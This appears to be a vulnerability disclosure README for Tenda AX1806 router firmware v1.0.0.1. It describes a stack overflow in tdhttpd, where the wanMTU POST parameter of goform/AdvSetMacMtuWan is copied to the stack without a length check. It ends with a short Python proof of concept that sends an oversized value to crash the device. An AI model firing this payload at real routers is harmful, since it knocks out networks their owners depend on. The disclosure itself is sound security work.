readme.md

Overview

• The device's official website: https://www.tenda.com.cn/product/AX1806.html
• Firmware download website: https://www.tenda.com.cn/download/detail-3306.html

Affected version

v1.0.0.1

Vulnerability details

tdhttpd in directory /bin has a stack overflow vulnerability. The vulnerability occurrs in the fromAdvSetMacMtuWan function, which can be accessed via the URL goform/AdvSetMacMtuWan.

The vulnerability is located in the function sub_658D8 called by fromAdvSetMacMtuWan.

• 

After getting the POST parameter wanMTU, the function does not verify its length and copies it directly to local variables on the stack, resulting in stack overflow.

PoC

Poc of Denial of Service(DoS)

import requests

data = {
    b"wanMTU": b'A'*0x800,
}
res = requests.post("http://127.0.0.1/goform/AdvSetMacMtuWan", data=data)
print(res.content)